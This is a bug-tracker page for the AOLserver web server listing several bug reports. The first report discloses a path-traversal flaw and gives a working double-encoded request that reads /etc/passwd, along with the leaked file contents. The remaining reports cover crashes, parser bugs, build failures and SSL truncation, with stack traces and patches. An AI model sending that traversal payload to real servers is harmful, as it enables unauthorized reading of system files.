Recent changes to bugs

AOLserver < 3.5.11 -- File path traversal

NOMAD — Fri, 02 Sep 2016 00:54:48 -0000

Hello,

File path traversal was found in AOLserver < 3.5.11.
This bug re-emerged in version 3.3, 3.4, 3.5...
Using this vulnerability, attackers can gain read access to arbitrary files on the server.

Regards,
NOMAD

-- Http Request
GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1
Host: {target}
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

-- Http Response
HTTP/1.0 200 OK
Cache-Control: no-cache, max-age=1
Last-Modified: Sat, 23 Apr 2016 04:51:21 GMT
Content-Type: application/octet-stream
MIME-Version: 1.0
Date: Thu, 23 Jun 2016 04:03:18 GMT
Server: AOLserver/3.5.11
Content-Length: 1925
Connection: close

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
myrmidon:x:666:666:Trojan Hobby Horse:/home/myrmidon:/bin/bash
pubadmin:x:440:440:Public site AOLserver user:/home/pubadmin:/bin/bash
pubcode:x:441:440:Public site web code owner:/home/pubcode:/bin/bash
publogs:x:442:440:Public site web log reader:/home/publogs:/bin/bash
pubcerts:x:443:441:Public site web certificate owner:/home/pubcerts:/bin/bash
nsadmin:x:400:400:AOLserver user:/home/nsadmin:/bin/bash
webcode:x:401:400:Web code owner:/home/webcode:/bin/bash
weblogs:x:402:400:Web log reader:/home/weblogs:/bin/bash
webcerts:x:403:401:Web certificate owner:/home/webcerts:/bin/bash

server crashes easily with small maxconns setting

Jeff Rogers — Tue, 07 Jun 2011 21:16:38 -0000

If the server configuration is set with a small maxconns setting (1 or 2) it crashes with a segfault very easily (typically within a few dozen requests) under a load test.

Stack trace is
#0 0x00002b8997e8ebb5 in raise ()
#1 0x00002b8997e8ffb0 in abort ()
#2 0x00002b8997586d8e in Abort ()
#3 <signal handler called>
#4 0x00002b8997aea4e6 in pthread_join ()
#5 0x00002b89976a7bdc in Ns_ThreadJoin ()
#6 0x00002b899756988c in NsJoinConnThreads ()
#7 0x00002b89975698c2 in NsCreateConnThread ()
#8 0x00002b899755de99 in DriverThread ()
...

ADP parser doesn't handle multiple nested tags

Jeff Rogers — Thu, 25 Feb 2010 06:58:30 -0000

The adp parser handles nested instances of <% %> within a section, but it cannot handle two consecutive nested tags because it stops looking for nested opening tags after the first instance of a nested closing tag.

That is,
<% set foo {<% a <% b %> %>} %>
will parse correctly, but
<% set foo {<% a %> <% b %>} %>
will not.

building against tcl8.6b1 fails

Jeff Rogers — Tue, 24 Nov 2009 17:52:46 -0000

Tcl8.6 is removing some pubic members of the Tcl_Interp struct - errorLine and result. (TIPs 330 and 336). AOLServer accesses these members directly, so compilation fails.

These member accesses should be replaced with the appropriate api functions. Compatibility wrappers are needed for Tcl_SetErrorLine if building against older tcl versions.

ensembles are not usable

Jeff Rogers — Tue, 24 Nov 2009 17:45:16 -0000

Tcl ensembles (created with the 'namespace ensemble' command) created in library modules are not usable after server startup in adp scripts. This is because they are not serialized in init.tcl and added to the interpreter initialization script.

This patch to init.tcl adds ensembles to the initialization script:
Index: nsd/init.tcl
===================================================================
RCS file: /cvsroot/aolserver/aolserver/nsd/init.tcl,v
retrieving revision 1.33
diff -c -r1.33 init.tcl
*** nsd/init.tcl 13 Apr 2006 19:06:28 -0000 1.33
--- nsd/init.tcl 24 Nov 2009 17:45:00 -0000
***************
*** 432,437 ****
--- 432,455 ----
}
}

+ #
+ # _ns_genensemble -
+ #
+ # if the passed command is an ensemble, returns a command
+ # to recreate it
+ # otherwise, returns an empty string
+ #
+
+ proc _ns_getensemble {cmd} {
+ ::if {[::namespace ensemble exists $cmd]} {
+ ::array set _cfg [::namespace ensemble configure $cmd]
+ ::set _enns $_cfg(-namespace)
+ ::unset _cfg(-namespace)
+ ::set _encmd [::list namespace ensemble create -command $cmd {*}[::array get _cfg]]
+ return [::list namespace eval $_enns $_encmd]\n
+ }
+ }
+

#
# _ns_getpackages -
***************
*** 546,551 ****
--- 564,570 ----
&& $_orig != [::namespace which -command $_cmnd]} {
::append _import [::list namespace import -force $_orig] \n
}
+ ::append _import [_ns_getensemble $_cmnd]
}

adp options are ignored by adpcmds.c

Jonathan Ellis — Sat, 10 Oct 2009 18:27:28 -0000

One symptom is a ton of "missing close brace" errors when singlescript is enabled.

This fix works for me:

--- adpcmds.c~ 2006-06-25 20:28:02.000000000 -0400
+++ adpcmds.c 2009-10-10 14:21:01.000000000 -0400
@@ -436,7 +436,8 @@
"arg ?arg ...?");
return TCL_ERROR;
}
- isfile = flags = 0;
+ isfile = 0;
+ flags = itPtr->adp.flags;
for (i = 1; i < objc; ++i) {
opt = Tcl_GetString(objv[i]);
if (STREQ(opt, "-global")) {

Large SSL GET/POST transactions are sometimes truncated

John Caruso — Wed, 15 Jul 2009 20:45:43 -0000

When using the https* client routines (e.g. ns_httpsget) to get a page from a server, SSL transactions are sometimes truncated. This happens with a AOLserver 4.5.1 and nsopenssl 3.0beta26 client and server. It also happens if the client is running AOLserver 3.4.2 / nsopenssl 2.x, but the server *must* be running AOlserver 4 / nsopenssl 3.0beta26. We've tested and verified this bug on Redhat Enterprise Linux 4 and 5 and Mac OS X.

The problem does not happen if the ns_httpsXXX call is replaced by ns_httpXXX (i.e., if HTTP is used rather than SSL).

Here's sample output from a page that demonstrates the problem (using an RHEL4 client/server):

-------------------------------------------------
Page Size | #Errors (out of 1)
70000 bytes | 0 errors
71000 bytes | 0 errors
72000 bytes | 0 errors
73000 bytes | 0 errors
ERROR: Expected 74000 bytes, but got 73728 bytes (off by 272 bytes)
74000 bytes | 1 errors
ERROR: Expected 75000 bytes, but got 73728 bytes (off by 1272 bytes)
75000 bytes | 1 errors
ERROR: Expected 76000 bytes, but got 73728 bytes (off by 2272 bytes)
76000 bytes | 1 errors
ERROR: Expected 77000 bytes, but got 73728 bytes (off by 3272 bytes)
77000 bytes | 1 errors
ERROR: Expected 78000 bytes, but got 73728 bytes (off by 4272 bytes)
78000 bytes | 1 errors
ERROR: Expected 79000 bytes, but got 73728 bytes (off by 5272 bytes)
79000 bytes | 1 errors
ERROR: Expected 80000 bytes, but got 73728 bytes (off by 6272 bytes)
80000 bytes | 1 errors
ERROR: Expected 81000 bytes, but got 73728 bytes (off by 7272 bytes)
81000 bytes | 1 errors
82000 bytes | 0 errors
83000 bytes | 0 errors
84000 bytes | 0 errors
85000 bytes | 0 errors
-------------------------------------------------

In this case, the errors started at a page size of 74000 bytes and continued through a page size of 81000 bytes. The specific sizes that produce errors vary from test to test and from platform to platform, but we haven't found any platforms that work consistently at all sizes.

The attached file (sslbug.tcl) demonstrates the problem; just copy this file to the top-level context of a web server running AOLserver 4.x/nsopenssl 3.0beta26 and then navigate to https://<server>/sslbug.tcl, and you'll see something like the output above. If you comment out the ns_httpsget and use ns_httpget instead, you'll see that the bug disappears.

The only requirement for the bug appears to be an AOLserver 4 / nsopenssl 3.0beta26 server, with any AOLserver client. In particular, we were unable to reproduce the bug in these scenarios:

- AOLserver client talking to an Apache server
- AOLserver client talking to a Java server
- wget client talking to an AOLserver server
- Firefox/IE client talking to an AOLserver server

Also, this happens either within the same AOLserver/nsopenssl client and server or with two different ones.

Instrumenting the code shows that what's happening in the error cases is that ns_sockselect is being called and is indicating that the SSL socket is ready for reading, even though there are 0 bytes available to read--as you can see from this debugging output:

[15/Jul/2009:13:10:43][6126.9034656][-default:5-] Debug: _ns_https_readable: after ns_sockselect(openssl14), sel='openssl14 {} {}', nread=0

The subsequent read of the zero readable bytes causes the client routine to conclude that the transaction is finished. However, it doesn't matter if the client routines continue waiting instead--the missing/truncated data will NEVER show up on the socket. The only "workaround" we've found is to insert a delay before the data starts being read by ns_https{post,get}; in our testing, 300 milliseconds resolves the problem consistently on RHEL4, and a mere 1 millisecond delay resolves the problem on OS X (but note that this ONLY works if the client hasn't read any data yet...if it reads any data at all, no amount of sleeping will prevent the bug from occurring). While this demontrates that the problem is somehow timing-related, it's of course not a fix.

So basically, it appears that data may be lost/truncated for an SSL socket when a client starts reading the data before all of it has been received.

Segmentation fault on AdpRun at adpeval.c:439

qqlka — Fri, 18 Apr 2008 09:56:23 -0000

There is a bug in AOLserver version 4.0.10 in function AdpRun that causes segmentation fault in some cases.

If the file is parsed by ADP and has bigger size than value defined in parameter "cachesize" the AOLserver cannot serve this file because it causes segmentation fault.

I have test that on HTML file that had more that 5 MB. The "cachesize" was defined as:

ns_param cachesize [expr 5000*1024]

After opennig the file in webrowser I got:

[18/Apr/2008:10:33:54][15178.10251][-conn:polska::5] Notice: GET test.polska.pl /sql/15.html
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 10251 (LWP 15229)]
0x400277c8 in AdpRun (itPtr=0x83a2848, file=0x423352a8 "/web/jail/servers/polska/packages/miniacs/www/startpage.adp",
objc=2, objv=0x4233552c, outputPtr=0x4233563c) at adpeval.c:439
439 ++ipagePtr->pagePtr->evals;

This is the backtrace:
(gdb) bt
#0 0x400277c8 in AdpRun (itPtr=0x83a2848, file=0x423352a8 "/web/jail/servers/polska/packages/miniacs/www/startpage.adp",
objc=2, objv=0x4233552c, outputPtr=0x4233563c) at adpeval.c:439
#1 0x40027049 in NsAdpInclude (itPtr=0x83a2848,
file=0x807eab0 "/web/jail/servers/polska/packages/miniacs/www/startpage.adp", objc=2, objv=0x4233552c) at adpeval.c:260
#2 0x40029bd1 in Ns_AdpRequest2 (conn=0x8099a68,
file=0x42335788 "/web/jail/servers/polska/packages/polska/www/sql/15.html", arg=0x0) at adprequest.c:173
#3 0x400298e7 in Ns_AdpRequest (conn=0x8099a68, file=0x42335788 "/web/jail/servers/polska/packages/polska/www/sql/15.html")
at adprequest.c:91
#4 0x40029887 in NsAdpProc (arg=0x8059c70, conn=0x8099a68) at adprequest.c:67
#5 0x4003dfb3 in Ns_ConnRunRequest (conn=0x8099a68) at op.c:269
#6 0x40040080 in ConnRun (connPtr=0x8099a68) at queue.c:771
#7 0x4003fb5e in NsConnThread (arg=0x846d278) at queue.c:619
#8 0x4007afef in NsThreadMain (arg=0x81c8b60) at thread.c:224
#9 0x4007cb02 in ThreadMain (arg=0x81c8b60) at pthread.c:730
#10 0x40158fef in pthread_start_thread () from /lib/i686/libpthread.so.0
#11 0x401590df in pthread_start_thread_event () from /lib/i686/libpthread.so.0

util.tcl procs should allow XHTML

Rick Cobb — Fri, 08 Feb 2008 22:23:39 -0000

ns_tagelement and ns_formvalueput are both incapable of handling well-formed XHTML syntax, especially in the face of properly closed <input /> elements. In addition, ns_formvalueput generates invalid XHTML syntax, in two ways: it does not provide values for CHECKED or SELECTED attributes, and it spells them in upper case.

HTML procs should handle single-quoted attribute values

Rick Cobb — Fri, 08 Feb 2008 22:10:47 -0000

ns_tagelement and ns_formvalueput don't handle attribute values that are enclosed by single quotes. See the example on the ns_tagelement wiki, and the Notes for the ns_formvalueput wiki.